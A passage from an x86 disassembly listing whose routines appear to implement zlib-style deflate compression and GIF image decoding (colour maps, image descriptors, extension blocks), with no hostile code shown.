sub_412922+30j ; sub_412922+69j ... cmp dword ptr [esi+1450h], 2 jl short loc_41298D mov eax, [ebp+var_8] mov [edx+4], eax mov eax, [esi+1450h] cdq sub eax, edx mov ebx, eax sar ebx, 1 jmp short loc_412A00 ; --------------------------------------------------------------------------- loc_4129F6: ; CODE XREF: sub_412922+E1j push ebx mov eax, esi call sub_411927 pop ecx dec ebx loc_412A00: ; CODE XREF: sub_412922+D2j cmp ebx, 1 jge short loc_4129F6 mov eax, [ebp+var_4] mov [ebp+var_C], eax loc_412A0B: ; CODE XREF: sub_412922+1AAj mov eax, [esi+1450h] mov ecx, [esi+eax*4+0B5Ch] mov ebx, [esi+0B60h] dec eax mov [esi+1450h], eax push 1 mov eax, esi mov [esi+0B60h], ecx call sub_411927 dec dword ptr [esi+1454h] mov eax, [esi+0B60h] pop ecx mov ecx, [esi+1454h] mov [esi+ecx*4+0B5Ch], ebx dec dword ptr [esi+1454h] mov ecx, [esi+1454h] mov [esi+ecx*4+0B5Ch], eax lea ecx, [edi+eax*4] mov [ebp+var_10], ecx mov cx, [ecx] lea edx, [edi+ebx*4] add cx, [edx] mov [ebp+var_14], edx mov dx, cx mov ecx, [ebp+var_C] mov [edi+ecx*4], dx mov bl, [esi+ebx+1458h] mov al, [esi+eax+1458h] cmp bl, al jb short loc_412A94 movzx eax, bl jmp short loc_412A97 ; --------------------------------------------------------------------------- loc_412A94: ; CODE XREF: sub_412922+16Bj movzx eax, al loc_412A97: ; CODE XREF: sub_412922+170j mov edx, [ebp+var_10] inc al mov [esi+ecx+1458h], al movzx eax, cx mov [edx+2], ax mov edx, [ebp+var_14] mov [edx+2], ax mov [esi+0B60h], ecx inc ecx push 1 mov eax, esi mov [ebp+var_C], ecx call sub_411927 cmp dword ptr [esi+1450h], 2 pop ecx jge loc_412A0B dec dword ptr [esi+1454h] mov eax, [esi+1454h] mov ecx, [esi+0B60h] mov [esi+eax*4+0B5Ch], ecx mov eax, [ebp+arg_0] mov edx, esi call sub_4119D7 push [ebp+var_8] lea edx, [esi+0B3Ch] mov ebx, edi call sub_4128B4 pop ecx pop edi pop ebx leave retn sub_412922 endp ; =============== S U B R O U T I N E ======================================= sub_412B0A proc near ; CODE XREF: sub_412DBD+44p push esi mov esi, eax mov ecx, [esi+0B1Ch] lea eax, [esi+94h] push esi call sub_411B94 mov ecx, [esi+0B28h] lea eax, [esi+988h] push esi call sub_411B94 lea eax, [esi+0B30h] push eax call sub_412922 add esp, 0Ch push 12h pop eax loc_412B43: ; CODE XREF: sub_412B0A+4Fj movzx ecx, ds:byte_41F80C[eax] cmp word ptr [esi+ecx*4+0A7Eh], 0 jnz short loc_412B5B dec eax cmp eax, 3 jge short loc_412B43 loc_412B5B: ; CODE XREF: sub_412B0A+49j mov ecx, eax imul ecx, 3 add ecx, 11h add [esi+16A8h], ecx pop esi retn sub_412B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B6B proc near ; CODE XREF: sub_40E674+64Bp ; sub_412DBD+82p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+16BCh] cmp ecx, 0Dh jle short loc_412BD1 push ebx push esi mov esi, [ebp+arg_C] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si pop esi pop ebx jmp short loc_412BE6 ; --------------------------------------------------------------------------- loc_412BD1: ; CODE XREF: sub_412B6B+Fj mov edx, [ebp+arg_C] shl edx, cl or [eax+16B8h], dx add ecx, 3 mov [eax+16BCh], ecx loc_412BE6: ; CODE XREF: sub_412B6B+64j mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] push 1 call sub_4127D8 pop ecx pop ebp retn sub_412B6B endp ; =============== S U B R O U T I N E ======================================= sub_412BF6 proc near ; CODE XREF: sub_40E674+63Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [eax+16BCh] push ebx push esi push 2 pop edx shl edx, cl or [eax+16B8h], dx cmp ecx, 0Dh jle short loc_412C5A mov edx, [eax+14h] mov bl, [eax+16B8h] mov ecx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl mov si, 2 shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412C63 ; --------------------------------------------------------------------------- loc_412C5A: ; CODE XREF: sub_412BF6+1Bj add ecx, 3 mov [eax+16BCh], ecx loc_412C63: ; CODE XREF: sub_412BF6+62j mov ecx, [eax+16BCh] xor edx, edx shl edx, cl or [eax+16B8h], dx cmp ecx, 9 jle short loc_412CBE mov edx, [eax+14h] mov bl, [eax+16B8h] mov ecx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl xor esi, esi shr si, cl add edx, 0FFFFFFF7h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412CC7 ; --------------------------------------------------------------------------- loc_412CBE: ; CODE XREF: sub_412BF6+81j add ecx, 7 mov [eax+16BCh], ecx loc_412CC7: ; CODE XREF: sub_412BF6+C6j call sub_412714 mov ecx, [eax+16BCh] mov edx, [eax+16B4h] sub edx, ecx add edx, 0Bh cmp edx, 9 jge loc_412DB0 push 2 pop edx shl edx, cl or [eax+16B8h], dx cmp ecx, 0Dh jle short loc_412D3E mov edx, [eax+14h] mov bl, [eax+16B8h] mov ecx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl mov si, 2 shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412D47 ; --------------------------------------------------------------------------- loc_412D3E: ; CODE XREF: sub_412BF6+FFj add ecx, 3 mov [eax+16BCh], ecx loc_412D47: ; CODE XREF: sub_412BF6+146j mov ecx, [eax+16BCh] xor edx, edx shl edx, cl or [eax+16B8h], dx cmp ecx, 9 jle short loc_412DA2 mov edx, [eax+14h] mov bl, [eax+16B8h] mov ecx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl xor esi, esi shr si, cl add edx, 0FFFFFFF7h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412DAB ; --------------------------------------------------------------------------- loc_412DA2: ; CODE XREF: sub_412BF6+165j add ecx, 7 mov [eax+16BCh], ecx loc_412DAB: ; CODE XREF: sub_412BF6+1AAj call sub_412714 loc_412DB0: ; CODE XREF: sub_412BF6+EAj pop esi mov dword ptr [eax+16B4h], 7 pop ebx retn sub_412BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412DBD proc near ; CODE XREF: sub_40F22C+64p ; sub_40F22C+A5p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor eax, eax cmp [esi+84h], eax push edi mov edi, [ebp+arg_8] jle short loc_412E24 cmp edi, eax jbe short loc_412DE5 mov eax, [esi] cmp dword ptr [eax+2Ch], 2 jnz short loc_412DE5 mov edx, esi call sub_4126D2 loc_412DE5: ; CODE XREF: sub_412DBD+17j ; sub_412DBD+1Fj lea eax, [esi+0B18h] push eax call sub_412922 lea eax, [esi+0B24h] push eax call sub_412922 pop ecx pop ecx mov eax, esi call sub_412B0A mov edx, [esi+16A8h] mov ecx, [esi+16ACh] add edx, 0Ah add ecx, 0Ah shr edx, 3 shr ecx, 3 cmp ecx, edx ja short loc_412E29 jmp short loc_412E27 ; --------------------------------------------------------------------------- loc_412E24: ; CODE XREF: sub_412DBD+13j lea ecx, [edi+5] loc_412E27: ; CODE XREF: sub_412DBD+65j mov edx, ecx loc_412E29: ; CODE XREF: sub_412DBD+63j push ebx lea ebx, [edi+4] cmp ebx, edx ja short loc_412E4C cmp [ebp+arg_4], 0 jz short loc_412E4C push [ebp+arg_C] push edi push [ebp+arg_4] push esi call sub_412B6B add esp, 10h jmp loc_412F8C ; --------------------------------------------------------------------------- loc_412E4C: ; CODE XREF: sub_412DBD+72j ; sub_412DBD+78j cmp dword ptr [esi+88h], 4 jz loc_412F08 cmp ecx, edx jz loc_412F08 mov edx, [ebp+arg_C] mov ecx, [esi+16BCh] add edx, 4 cmp ecx, 0Dh jle short loc_412EC0 mov edi, edx shl edi, cl mov ecx, [esi+8] or [esi+16B8h], di mov edi, [esi+14h] mov bl, [esi+16B8h] mov [ecx+edi], bl inc dword ptr [esi+14h] mov ecx, [esi+14h] mov bl, [esi+16B9h] mov edi, [esi+8] mov [ecx+edi], bl mov ebx, [esi+16BCh] inc dword ptr [esi+14h] mov cl, 10h sub cl, bl shr dx, cl add ebx, 0FFFFFFF3h mov [esi+16BCh], ebx mov [esi+16B8h], dx jmp short loc_412ED2 ; --------------------------------------------------------------------------- loc_412EC0: ; CODE XREF: sub_412DBD+B3j shl edx, cl or [esi+16B8h], dx add ecx, 3 mov [esi+16BCh], ecx loc_412ED2: ; CODE XREF: sub_412DBD+101j inc eax push eax mov eax, [esi+0B28h] inc eax push eax mov eax, [esi+0B1Ch] inc eax push eax mov eax, esi call sub_4120EA lea eax, [esi+988h] push eax lea eax, [esi+94h] push eax mov eax, esi call sub_412320 add esp, 14h jmp loc_412F8C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: sub_412DBD+96j ; sub_412DBD+9Ej mov eax, [ebp+arg_C] mov ecx, [esi+16BCh] add eax, 2 cmp ecx, 0Dh jle short loc_412F67 mov edx, eax shl edx, cl mov ecx, [esi+8] or [esi+16B8h], dx mov edx, [esi+14h] mov bl, [esi+16B8h] mov [ecx+edx], bl inc dword ptr [esi+14h] mov ecx, [esi+14h] mov edx, [esi+8] mov bl, [esi+16B9h] mov [ecx+edx], bl mov edx, [esi+16BCh] inc dword ptr [esi+14h] mov cl, 10h sub cl, dl shr ax, cl add edx, 0FFFFFFF3h mov [esi+16BCh], edx mov [esi+16B8h], ax jmp short loc_412F79 ; --------------------------------------------------------------------------- loc_412F67: ; CODE XREF: sub_412DBD+15Aj shl eax, cl or [esi+16B8h], ax add ecx, 3 mov [esi+16BCh], ecx loc_412F79: ; CODE XREF: sub_412DBD+1A8j push offset dword_41FD68 push offset dword_41F8E8 mov eax, esi call sub_412320 pop ecx pop ecx loc_412F8C: ; CODE XREF: sub_412DBD+8Aj ; sub_412DBD+146j mov eax, esi call sub_4118C9 cmp [ebp+arg_C], 0 pop ebx pop edi pop esi jz short loc_412FA2 pop ebp jmp sub_412781 ; --------------------------------------------------------------------------- loc_412FA2: ; CODE XREF: sub_412DBD+1DDj pop ebp retn sub_412DBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FA4 proc near ; CODE XREF: sub_4047AC+CBp var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] and [ebp+var_18], 0 and [ebp+var_14], 0 mov [ebp+var_38], eax mov eax, [ebp+arg_C] mov [ebp+var_34], eax mov eax, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov [ebp+var_2C], eax mov eax, [esi] push 38h mov [ebp+var_28], eax lea eax, [ebp+var_38] push offset a1_2_3 ; "1.2.3" push eax call sub_41016C add esp, 0Ch test eax, eax jnz short loc_41302C push edi lea eax, [ebp+var_38] push 4 push eax call sub_41025B mov edi, eax cmp edi, 1 pop ecx pop ecx jz short loc_41301C lea eax, [ebp+var_38] push eax call sub_4114D7 cmp edi, 2 pop ecx jz short loc_413017 cmp edi, 0FFFFFFFBh jnz short loc_413013 cmp [ebp+var_34], 0 jz short loc_413017 loc_413013: ; CODE XREF: sub_412FA4+67j mov eax, edi jmp short loc_41302B ; --------------------------------------------------------------------------- loc_413017: ; CODE XREF: sub_412FA4+62j ; sub_412FA4+6Dj push 0FFFFFFFDh pop eax jmp short loc_41302B ; --------------------------------------------------------------------------- loc_41301C: ; CODE XREF: sub_412FA4+53j mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_4114D7 pop ecx loc_41302B: ; CODE XREF: sub_412FA4+71j ; sub_412FA4+76j pop edi loc_41302C: ; CODE XREF: sub_412FA4+3Ej pop esi leave retn sub_412FA4 endp ; =============== S U B R O U T I N E ======================================= sub_41302F proc near ; DATA XREF: sub_40FA8A+3Fo ; sub_4100B2+3Bo arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] imul eax, [esp+arg_8] push eax call sub_40CC7F pop ecx retn sub_41302F endp ; =============== S U B R O U T I N E ======================================= sub_413040 proc near ; DATA XREF: sub_40FA8A+4Eo ; sub_4100B2+4Ao arg_4 = dword ptr 8 push [esp+arg_4] call sub_40CCC5 pop ecx retn sub_413040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41304B proc near ; CODE XREF: sub_402C86:loc_402DCDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, [ecx+38h] test byte ptr [eax], 8 jnz short loc_413067 mov dword_421D3C, 6Fh loc_413063: ; CODE XREF: sub_41304B+38j ; sub_41304B+5Cj xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_413067: ; CODE XREF: sub_41304B+Cj push 1 lea edx, [ebp+arg_0+3] push edx push ecx call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_413085 mov dword_421D3C, 66h jmp short loc_413063 ; --------------------------------------------------------------------------- loc_413085: ; CODE XREF: sub_41304B+2Cj cmp byte ptr [ebp+arg_0+3], 21h mov eax, [ebp+arg_4] jz short loc_4130B9 cmp byte ptr [ebp+arg_0+3], 2Ch jz short loc_4130B1 cmp byte ptr [ebp+arg_0+3], 3Bh jz short loc_4130A9 and dword ptr [eax], 0 mov dword_421D3C, 6Bh jmp short loc_413063 ; --------------------------------------------------------------------------- loc_4130A9: ; CODE XREF: sub_41304B+4Dj mov dword ptr [eax], 4 jmp short loc_4130BF ; --------------------------------------------------------------------------- loc_4130B1: ; CODE XREF: sub_41304B+47j mov dword ptr [eax], 2 jmp short loc_4130BF ; --------------------------------------------------------------------------- loc_4130B9: ; CODE XREF: sub_41304B+41j mov dword ptr [eax], 3 loc_4130BF: ; CODE XREF: sub_41304B+64j ; sub_41304B+6Cj xor eax, eax inc eax pop ebp retn sub_41304B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4130C4 proc near ; CODE XREF: sub_402C86+12Bp ; sub_413631+48p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+38h] push 1 lea eax, [ebp+arg_0+3] push eax push edi call dword ptr [esi+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_4130EF loc_4130E1: ; CODE XREF: sub_4130C4+57j mov dword_421D3C, 66h xor eax, eax jmp short loc_413126 ; --------------------------------------------------------------------------- loc_4130EF: ; CODE XREF: sub_4130C4+1Bj mov dl, byte ptr [ebp+arg_0+3] test dl, dl jbe short loc_41311D mov ecx, [ebp+arg_4] lea eax, [esi+44h] mov [ecx], eax mov [eax], dl movzx edx, byte ptr [ebp+arg_0+3] mov ecx, [ecx] mov eax, [edi+38h] push edx inc ecx push ecx push edi call dword ptr [eax+3Ch] movzx ecx, byte ptr [ebp+arg_0+3] add esp, 0Ch cmp eax, ecx jz short loc_413123 jmp short loc_4130E1 ; --------------------------------------------------------------------------- loc_41311D: ; CODE XREF: sub_4130C4+30j mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_413123: ; CODE XREF: sub_4130C4+55j xor eax, eax inc eax loc_413126: ; CODE XREF: sub_4130C4+29j pop edi pop esi pop ebp retn sub_4130C4 endp ; =============== S U B R O U T I N E ======================================= sub_41312A proc near ; CODE XREF: sub_402C86+10Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_413137 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_413137: ; CODE XREF: sub_41312A+7j push edi mov edi, [esi+38h] test byte ptr [edi], 8 jnz short loc_41314E mov dword_421D3C, 6Fh xor eax, eax jmp short loc_413194 ; --------------------------------------------------------------------------- loc_41314E: ; CODE XREF: sub_41312A+14j mov eax, [esi+2Ch] test eax, eax jz short loc_413160 push eax call sub_414373 and dword ptr [esi+2Ch], 0 pop ecx loc_413160: ; CODE XREF: sub_41312A+29j mov eax, [esi+10h] test eax, eax jz short loc_413172 push eax call sub_414373 and dword ptr [esi+10h], 0 pop ecx loc_413172: ; CODE XREF: sub_41312A+3Bj push edi call sub_40CCC5 cmp dword ptr [esi+30h], 0 pop ecx jz short loc_41318A push esi call sub_4143D6 and dword ptr [esi+30h], 0 pop ecx loc_41318A: ; CODE XREF: sub_41312A+53j push esi call sub_40CCC5 xor eax, eax pop ecx inc eax loc_413194: ; CODE XREF: sub_41312A+22j pop edi pop esi retn sub_41312A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413197 proc near ; CODE XREF: sub_413334+25p ; sub_413334+35p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [eax+38h] push 2 lea edx, [ebp+var_4] push edx push eax call dword ptr [ecx+3Ch] add esp, 0Ch cmp eax, 2 jz short loc_4131BE mov dword_421D3C, 66h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4131BE: ; CODE XREF: sub_413197+17j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_0] mov [ecx], eax xor eax, eax inc eax leave retn sub_413197 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131D5 proc near ; CODE XREF: sub_4139FE+5Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+38h] push 1 lea eax, [ebp+arg_0+3] push eax push edi call dword ptr [esi+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_413200 loc_4131F2: ; CODE XREF: sub_4131D5+59j mov dword_421D3C, 66h xor eax, eax jmp short loc_41323B ; --------------------------------------------------------------------------- loc_413200: ; CODE XREF: sub_4131D5+1Bj mov dl, byte ptr [ebp+arg_0+3] mov ecx, [ebp+arg_4] xor eax, eax cmp dl, al jbe short loc_413230 lea eax, [esi+44h] mov [ecx], eax mov [eax], dl movzx edx, byte ptr [ebp+arg_0+3] mov ecx, [ecx] mov eax, [edi+38h] push edx inc ecx push ecx push edi call dword ptr [eax+3Ch] movzx ecx, byte ptr [ebp+arg_0+3] add esp, 0Ch cmp eax, ecx jz short loc_413238 jmp short loc_4131F2 ; --------------------------------------------------------------------------- loc_413230: ; CODE XREF: sub_4131D5+35j mov [ecx], eax mov [esi+44h], al mov [esi+34h], eax loc_413238: ; CODE XREF: sub_4131D5+57j xor eax, eax inc eax loc_41323B: ; CODE XREF: sub_4131D5+29j pop edi pop esi pop ebp retn sub_4131D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41323F proc near ; CODE XREF: sub_41344D+1CEp var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push esi mov esi, [eax+38h] push edi push 1 lea ecx, [ebp+var_1] push ecx push eax call dword ptr [esi+3Ch] movzx ecx, [ebp+var_1] xor eax, eax inc eax shl eax, cl xor edx, edx add esp, 0Ch mov [esi+8], ecx mov [esi+0Ch], eax inc eax mov [esi+10h], eax inc eax mov [esi+14h], eax xor eax, eax inc ecx inc eax shl eax, cl mov [esi+18h], ecx lea edi, [esi+2144h] mov [esi+44h], dl mov [esi+1Ch], eax mov eax, 1002h mov [esi+20h], eax mov [esi+28h], edx mov [esi+2Ch], edx mov [esi+30h], edx mov ecx, 1000h rep stosd xor eax, eax pop edi inc eax pop esi leave retn sub_41323F endp ; =============== S U B R O U T I N E ======================================= sub_4132A2 proc near ; CODE XREF: sub_413803+F9p ; sub_413803:loc_4139B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor ecx, ecx jmp short loc_4132B8 ; --------------------------------------------------------------------------- loc_4132A6: ; CODE XREF: sub_4132A2+1Aj mov edx, ecx inc ecx cmp edx, 0FFFh jg short locret_4132BE mov edx, [esp+arg_0] mov eax, [edx+eax*4] loc_4132B8: ; CODE XREF: sub_4132A2+2j cmp eax, [esp+arg_4] jg short loc_4132A6 locret_4132BE: ; CODE XREF: sub_4132A2+Dj retn sub_4132A2 endp ; =============== S U B R O U T I N E ======================================= sub_4132BF proc near ; CODE XREF: sub_413683+2Ep arg_0 = dword ptr 4 cmp byte ptr [esi], 0 push edi jnz short loc_41331D mov eax, [ebx+38h] push 1 push esi push ebx call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_4132E5 loc_4132D7: ; CODE XREF: sub_4132BF+4Fj mov dword_421D3C, 66h loc_4132E1: ; CODE XREF: sub_4132BF+36j xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4132E5: ; CODE XREF: sub_4132BF+16j mov al, [esi] test al, al jnz short loc_4132F7 mov dword_421D3C, 70h jmp short loc_4132E1 ; --------------------------------------------------------------------------- loc_4132F7: ; CODE XREF: sub_4132BF+2Aj mov ecx, [ebx+38h] movzx eax, al push eax lea edi, [esi+1] push edi push ebx call dword ptr [ecx+3Ch] movzx ecx, byte ptr [esi] add esp, 0Ch cmp eax, ecx jnz short loc_4132D7 mov al, [edi] mov ecx, [esp+4+arg_0] mov [ecx], al mov byte ptr [edi], 2 jmp short loc_41332D ; --------------------------------------------------------------------------- loc_41331D: ; CODE XREF: sub_4132BF+4j movzx eax, byte ptr [esi+1] mov al, [eax+esi] mov ecx, [esp+4+arg_0] mov [ecx], al inc byte ptr [esi+1] loc_41332D: ; CODE XREF: sub_4132BF+5Cj dec byte ptr [esi] xor eax, eax inc eax pop edi retn sub_4132BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413334 proc near ; CODE XREF: sub_402C86+C7p ; sub_413720+BAp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+38h] test byte ptr [eax], 8 push edi jnz short loc_413356 mov dword_421D3C, 6Fh loc_41334F: ; CODE XREF: sub_413334+2Dj ; sub_413334+3Dj ... xor eax, eax loc_413351: ; CODE XREF: sub_413334+114j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_413356: ; CODE XREF: sub_413334+Fj push esi mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41334F lea eax, [esi+4] push eax mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41334F mov eax, [esi+38h] push 3 lea ecx, [ebp+arg_0] push ecx push esi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 3 jz short loc_413394 loc_413388: ; CODE XREF: sub_413334+108j mov dword_421D3C, 66h jmp short loc_41334F ; --------------------------------------------------------------------------- loc_413394: ; CODE XREF: sub_413334+52j movzx eax, byte ptr [ebp+arg_0] mov ecx, eax shr ecx, 4 and ecx, 7 inc ecx mov [esi+8], ecx movzx ecx, byte ptr [ebp+arg_0+1] and eax, 7 inc eax test byte ptr [ebp+arg_0], 80h mov [esi+0Ch], ecx jz loc_413441 xor edx, edx inc edx mov ecx, eax shl edx, cl xor edi, edi push edi push edx call sub_41430E cmp eax, edi pop ecx pop ecx mov [esi+10h], eax jnz short loc_4133E1 mov dword_421D3C, 6Dh jmp loc_41334F ; --------------------------------------------------------------------------- loc_4133E1: ; CODE XREF: sub_413334+9Cj xor ebx, ebx cmp [eax], edi jle short loc_413445 loc_4133E7: ; CODE XREF: sub_413334+F7j mov eax, [esi+38h] push 3 lea ecx, [ebp+arg_0] push ecx push esi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 3 jnz short loc_41342F mov eax, [esi+10h] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0] mov [edi+eax], cl mov eax, [esi+10h] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0+1] mov [eax+edi+1], cl mov eax, [esi+10h] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0+2] mov [eax+edi+2], cl mov eax, [esi+10h] inc ebx add edi, 3 cmp ebx, [eax] jl short loc_4133E7 jmp short loc_413445 ; --------------------------------------------------------------------------- loc_41342F: ; CODE XREF: sub_413334+C6j push dword ptr [esi+10h] call sub_414373 and dword ptr [esi+10h], 0 pop ecx jmp loc_413388 ; --------------------------------------------------------------------------- loc_413441: ; CODE XREF: sub_413334+7Fj and dword ptr [esi+10h], 0 loc_413445: ; CODE XREF: sub_413334+B1j ; sub_413334+F9j xor eax, eax inc eax jmp loc_413351 sub_413334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41344D proc near ; CODE XREF: sub_402C86+5Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+38h] test byte ptr [eax], 8 push edi mov [ebp+var_8], eax jnz short loc_413474 mov dword_421D3C, 6Fh loc_41346D: ; CODE XREF: sub_41344D+35j ; sub_41344D+45j ... xor eax, eax loc_41346F: ; CODE XREF: sub_41344D+1D6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413474: ; CODE XREF: sub_41344D+14j lea eax, [esi+18h] push eax mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41346D lea eax, [esi+1Ch] push eax mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41346D lea eax, [esi+20h] push eax mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41346D lea eax, [esi+24h] push eax mov eax, esi call sub_413197 test eax, eax pop ecx jz short loc_41346D mov eax, [esi+38h] push 1 lea ecx, [ebp+arg_0] push ecx push esi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_4134D5 mov dword_421D3C, 66h jmp short loc_41346D ; --------------------------------------------------------------------------- loc_4134D5: ; CODE XREF: sub_41344D+7Aj movzx eax, byte ptr [ebp+arg_0] mov edi, eax and edi, 7 and eax, 40h inc edi xor ebx, ebx test byte ptr [ebp+arg_0], 80h mov [esi+28h], eax mov eax, [esi+2Ch] jz loc_41359B cmp eax, ebx jz short loc_413504 cmp [esi+30h], ebx jnz short loc_413504 push eax call sub_414373 pop ecx loc_413504: ; CODE XREF: sub_41344D+A9j ; sub_41344D+AEj xor eax, eax inc eax mov ecx, edi shl eax, cl push ebx push eax call sub_41430E cmp eax, ebx pop ecx pop ecx mov [esi+2Ch], eax jnz short loc_41352A loc_41351B: ; CODE XREF: sub_41344D+178j ; sub_41344D+1ADj mov dword_421D3C, 6Dh jmp loc_41346D ; --------------------------------------------------------------------------- loc_41352A: ; CODE XREF: sub_41344D+CCj cmp [eax], ebx mov [ebp+var_4], ebx jle short loc_4135A9 xor edi, edi loc_413533: ; CODE XREF: sub_41344D+12Fj mov eax, [esi+38h] push 3 lea ecx, [ebp+arg_0] push ecx push esi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 3 jnz short loc_413580 mov eax, [esi+2Ch] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0] inc [ebp+var_4] mov [edi+eax], cl mov eax, [esi+2Ch] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0+1] mov [eax+edi+1], cl mov eax, [esi+2Ch] mov eax, [eax+8] mov cl, byte ptr [ebp+arg_0+2] mov [eax+edi+2], cl mov eax, [esi+2Ch] mov ecx, [ebp+var_4] add edi, 3 cmp ecx, [eax] jl short loc_413533 jmp short loc_4135A9 ; --------------------------------------------------------------------------- loc_413580: ; CODE XREF: sub_41344D+F9j push dword ptr [esi+2Ch] call sub_414373 mov dword_421D3C, 66h pop ecx mov [esi+2Ch], ebx jmp loc_41346D ; --------------------------------------------------------------------------- loc_41359B: ; CODE XREF: sub_41344D+A1j cmp eax, ebx jz short loc_4135A9 push eax call sub_414373 pop ecx mov [esi+2Ch], ebx loc_4135A9: ; CODE XREF: sub_41344D+E2j ; sub_41344D+131j ... mov eax, [esi+30h] cmp eax, ebx jz short loc_413628 mov ecx, [esi+14h] inc ecx imul ecx, 28h push ecx push eax call sub_40CCAD pop ecx loc_4135BF: ; CODE XREF: sub_41344D+1E2j cmp eax, ebx pop ecx mov [esi+30h], eax jz 